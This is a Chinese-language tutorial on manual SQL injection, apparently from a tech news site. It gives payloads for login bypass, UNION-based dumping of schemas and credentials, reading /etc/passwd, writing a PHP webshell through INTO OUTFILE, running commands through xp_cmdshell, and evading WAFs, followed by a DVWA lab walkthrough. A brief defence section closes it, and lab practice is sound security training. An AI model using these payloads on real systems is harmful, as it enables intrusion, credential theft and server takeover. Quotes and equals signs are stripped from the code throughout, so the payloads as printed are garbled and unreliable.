SQL手工注入实战指南:原理、技巧与防御
1. SQL手工注入基础概念与原理剖析手工SQL注入是一种通过精心构造输入参数利用Web应用程序对用户输入过滤不严的漏洞直接操作后端数据库的技术手段。与自动化工具不同手工注入需要攻击者或安全测试人员对SQL语法、数据库结构和应用程序逻辑有深入理解。1.1 SQL注入的本质与危害SQL注入漏洞产生的根本原因是应用程序将用户输入直接拼接到SQL语句中执行。例如一个登录查询SELECT * FROM users WHERE username$user AND password$pass当攻击者输入admin--作为用户名时实际执行的SQL变为SELECT * FROM users WHERE usernameadmin-- AND password--在SQL中表示注释这使得密码验证被绕过。这种简单的例子展示了SQL注入如何破坏应用程序的安全逻辑。更严重的危害包括数据库信息泄露用户凭证、交易记录等敏感数据数据库篡改修改价格、删除记录等服务器文件系统访问通过LOAD_FILE和INTO OUTFILE甚至获取服务器控制权限通过写入Webshell1.2 注入类型分类体系根据不同的分类标准SQL注入可分为多种类型按结果返回形式显错注入错误信息直接显示在页面上盲注布尔盲注通过页面返回的真/假状态判断时间盲注通过响应延迟判断如sleep(5)按参数类型数字型注入参数无需引号包裹字符型注入参数用单/双引号包裹按技术实现联合查询注入UNION-based堆叠查询注入Stacked queries报错注入Error-based带外通道注入OOB2. 手工注入实战七步法2.1 第一步注入点检测与类型判断检测注入存在性数字型参数尝试id1和id1 and 11字符型参数尝试nameadmin和nameadmin and 11判断注入类型的关键差异数字型SELECT * FROM products WHERE id1 AND 11 字符型SELECT * FROM users WHERE nameadmin AND 11实用技巧使用#或--注释后续语句注意观察页面返回差异包括直接错误信息内容缺失HTTP状态码变化响应时间变化2.2 第二步确定字段数量通过ORDER BY子句逐步测试?id1 ORDER BY 1-- ?id1 ORDER BY 2-- ...当数字超过实际列数时数据库会报错。这是后续UNION注入的基础。常见错误处理某些数据库对ORDER BY数字的语法支持不同可能需要尝试GROUP BY作为替代2.3 第三步定位回显字段使用UNION SELECT确定哪些列会显示在页面上?id1 UNION SELECT 1,2,3--然后在数字位置插入测试函数?id1 UNION SELECT database(),version(),user()--高级技巧使用CONCAT()合并多个信息到一个字段对非显示字段尝试基于错误的提取技术2.4 第四步数据库信息收集关键信息获取语句-- 数据库版本 SELECT version -- 当前数据库 SELECT database() -- 用户权限 SELECT user(), super_priv FROM mysql.user -- 文件系统路径 SELECT datadir多数据库差异MySQLversion()SQL ServerVERSIONOracleSELECT banner FROM v$version2.5 第五步表结构枚举通过information_schema获取元数据-- 列出所有数据库 SELECT schema_name FROM information_schema.schemata -- 列出指定数据库的表 SELECT table_name FROM information_schema.tables WHERE table_schemadvwa绕过过滤技巧使用十六进制编码WHERE table_schema0x64767761使用注释分割WHERE/**/table_schemadvwa2.6 第六步字段提取与数据窃取获取表字段结构SELECT column_name FROM information_schema.columns WHERE table_nameusers AND table_schemadvwa提取敏感数据示例-- 获取用户名密码 SELECT user, password FROM dvwa.users -- 批量导出数据技巧 SELECT CONCAT(user,:,password) FROM users INTO OUTFILE /tmp/creds.txt2.7 第七步高级利用技术文件读取SELECT LOAD_FILE(/etc/passwd)需要FILE权限且知道绝对路径。文件写入SELECT ?php system($_GET[cmd]);? INTO OUTFILE /var/www/shell.php需要可写目录和足够权限。命令执行MySQL-- 需要插件支持 SELECT sys_exec(whoami)3. 不同数据库的特殊注入技巧3.1 MySQL特有技术字符串连接技巧SELECT CONCAT(a,b) -- 输出ab SELECT a b -- 输出ab注释变体# 单行注释 -- 单行注释注意末尾空格 /* 多行注释 */绕过过滤/*!50000SELECT*/ 1 -- 版本条件注释3.2 SQL Server特性堆叠查询?id1; EXEC xp_cmdshell whoami--错误消息利用SELECT 1/0 -- 产生显式错误3.3 Oracle特殊语法双重管道连接SELECT a||b FROM dual系统视图访问SELECT * FROM all_tables4. 防御措施与注入检测4.1 开发者防护方案参数化查询最佳实践# Python示例 cursor.execute(SELECT * FROM users WHERE id%s, (user_id,))输入验证白名单验证如只允许数字转义特殊字符最小权限原则应用数据库账户只授予必要权限禁用FILE、EXECUTE等高危权限4.2 手工注入检测工具链基础工具Burp Suite拦截修改请求HackBar浏览器插件快速构造请求OWASP ZAP自动化扫描工具高级技巧使用LIKE进行模糊匹配测试时间盲注时使用BENCHMARK()函数二进制数据使用HEX()编码传输5. 实战案例DVWA手工注入全流程5.1 环境准备设置DVWA安全级别为Low进入SQL Injection模块5.2 完整注入过程1. 检测注入点?id1 and 11 -- 正常 ?id1 and 12 -- 异常 → 确认字符型注入2. 确定列数?id1 order by 2-- -- 正常 ?id1 order by 3-- -- 错误 → 确认2列3. 定位回显?id1 union select 1,2-- → 发现第2列显示在页面4. 获取数据库信息?id1 union select 1,database()-- → 返回dvwa5. 枚举表名?id1 union select 1,table_name from information_schema.tables where table_schemadvwa-- → 发现users表6. 获取字段?id1 union select 1,column_name from information_schema.columns where table_nameusers-- → 发现user和password字段7. 提取凭证?id1 union select user,password from users-- → 获取管理员账号密码6. 高级绕过技术与疑难处理6.1 WAF绕过手法编码混淆/*!SELECT*/ 1 SE%4cECT 1 -- URL编码等价函数替换-- 代替空格 SELECT/**/1 SELECT%091 -- 制表符注释分割SEL/*xxx*/ECT 16.2 常见错误解决UNION列数不符-- 使用NULL填充 UNION SELECT 1,NULL,NULL--引号被过滤-- 使用十六进制 WHERE name0x61646d696e关键词被过滤-- 大小写变异 SeLeCt 1手工SQL注入是一门需要大量实践的技术真正的精通需要理解不同数据库的特性、熟悉各种过滤绕过手法并能在实际场景中灵活运用。建议在合法授权环境下通过DVWA、SQLi Labs等靶场进行系统练习。

相关新闻

Real Easy English:109期外教原声口语听力训练全攻略

Real Easy English:109期外教原声口语听力训练全攻略

这次我们来看一个实用的英语学习资源——Real Easy English 真实简单英语博客,这是一套包含109期话题的完整口语听力训练素材。这套资源最大的特点是提供了原汁原味的外教原声素材,每期都配有中英双语学习文本,特别适合想要提升地道英语口语能…

2026/9/30 9:43:15 阅读更多 →
BEV Occupancy与SMT验证:构建自动驾驶确定性感知与安全验证基石

BEV Occupancy与SMT验证:构建自动驾驶确定性感知与安全验证基石

1. 项目概述:当感知系统“看错”了世界2018年3月的一个夜晚,亚利桑那州坦佩市,一辆Uber ATG的自动驾驶测试车以43英里每小时的速度行驶。在撞击发生前5.6秒,它的感知系统“看到”了前方横穿马路的行人Elaine Herzberg。然而&#…

2026/10/1 19:42:47 阅读更多 →
实验性开发框架部署实践:从环境配置到性能优化

实验性开发框架部署实践:从环境配置到性能优化

这次我们来看一个名为"瞎整"的项目。从名称来看,这很可能是一个带有实验性质的开源工具或框架,专注于提供灵活、非传统的技术解决方案。这类项目通常面向那些希望在标准流程之外进行技术探索的开发者。"瞎整"项目的核心价值在于它可…

2026/9/30 9:44:15 阅读更多 →

最新新闻

EasyExcel导出合计行的正确实现方案

EasyExcel导出合计行的正确实现方案

1. 为什么“合计行”是 EasyExcel 导出中最容易被低估的硬伤你有没有遇到过这样的场景:业务方发来一份 Excel 模板,最后一行写着“合计”,字体加粗、背景色浅灰、数字右对齐,还带千分位分隔符;你吭哧吭哧用 EasyExcel …

2026/10/1 19:42:18 阅读更多 →
技术专家、领域专家、行业专家:三条截然不同的成长路径

技术专家、领域专家、行业专家:三条截然不同的成长路径

1. 三种“专家”不是同一个物种——先搞清楚你要当哪一种聊到今天已经是第897期,我一直没正经写过一个话题:怎么从干活的人,变成别人眼里的专家。最近后台有好几个读者留言,问的是同一类问题——技术做到什么程度才算专家&#xf…

2026/10/1 19:42:18 阅读更多 →
PhpStorm vmoptions文件位置全解析:修改JVM参数的正确姿势

PhpStorm vmoptions文件位置全解析:修改JVM参数的正确姿势

不少人以为 PhpStorm 改完 vmoptions 就万事大吉了,结果重启后要么内存还是爆,要么翻遍了安装目录也找不到自己刚改的文件。我先把结论放这儿:不管是你在 IDE 菜单里点 Help -> Edit Custom VM Options ,还是手动去改某个文件…

2026/10/1 19:42:18 阅读更多 →
TFLite内存规划器深度解析:推理引擎如何复用中间tensor,压降峰值内存

TFLite内存规划器深度解析:推理引擎如何复用中间tensor,压降峰值内存

做端侧推理部署的人,应该都遇到过这种场景:模型权重明明只有几十MB,一跑起来App的内存却暴涨到两三百MB,动不动就被系统低内存回收。以前我排查这类问题,第一反应是换更小的模型、降输入分辨率,后来才意识到…

2026/10/1 19:42:18 阅读更多 →
MySQL通用日志general_log:从原理到实战,揭秘审计与排查利器

MySQL通用日志general_log:从原理到实战,揭秘审计与排查利器

凌晨两点被电话叫醒,几乎是每个搞过数据库的人都经历过的“必修课”。那天业务方告诉我,订单表里有一批数据被update了,但排查了一圈,代码没人动过,脚本没人跑过,binlog翻出来也只能看到具体SQL和事务序号&…

2026/10/1 19:42:18 阅读更多 →
FreeRTOS任务机制深度解析:TCB、任务栈与就绪表的内存本质

FreeRTOS任务机制深度解析:TCB、任务栈与就绪表的内存本质

1. 为什么FreeRTOS新手总在“任务”上栽跟头:从一句xTaskCreate()说起我带过不少刚接触FreeRTOS的嵌入式新人,他们常卡在一个看似最基础的问题上:明明照着例程写了xTaskCreate(),任务却没跑起来;或者任务跑着跑着就死机…

2026/10/1 19:41:18 阅读更多 →

日新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/1 0:00:30 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/1 0:00:30 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/1 1:01:17 阅读更多 →

周新闻

如何划分训练/验证集:Spirula Studio五种eval_mode策略详解

如何划分训练/验证集:Spirula Studio五种eval_mode策略详解

如何划分训练/验证集:Spirula Studio五种eval_mode策略详解 【免费下载链接】spirula-studio Cross-vendor 3D Gaussian Splatting trainer - video to splat to mesh, Vulkan or CUDA. 项目地址: https://gitcode.com/GitHub_Trending/sp/spirula-studio Sp…

2026/10/1 19:40:48 阅读更多 →
SEO怎么推广速查手册新手避坑实战指南

SEO怎么推广速查手册新手避坑实战指南

SEO怎么推广速查手册新手避坑实战指南 模板网站太丑不够用?别急着加滤镜,那是治标不治本。很多老板盯着后台流量掉得眼红,却还在纠结首页Banner的圆角是不是3像素。这就像穿着西装去挖土,姿势不对,努力白费。我整理这份 速查手册…

2026/10/1 19:41:40 阅读更多 →
FireRed-OpenStoryline少样本仿写深度解析:AI Agent如何复刻你的独特文案风格与节奏

FireRed-OpenStoryline少样本仿写深度解析:AI Agent如何复刻你的独特文案风格与节奏

FireRed-OpenStoryline少样本仿写深度解析:AI Agent如何复刻你的独特文案风格与节奏 【免费下载链接】FireRed-OpenStoryline FireRed-OpenStoryline is an AI video editing agent that transforms manual editing into intention-driven directing through natural language …

2026/9/30 13:14:49 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/1 0:00:30 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/1 0:00:30 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/1 1:01:17 阅读更多 →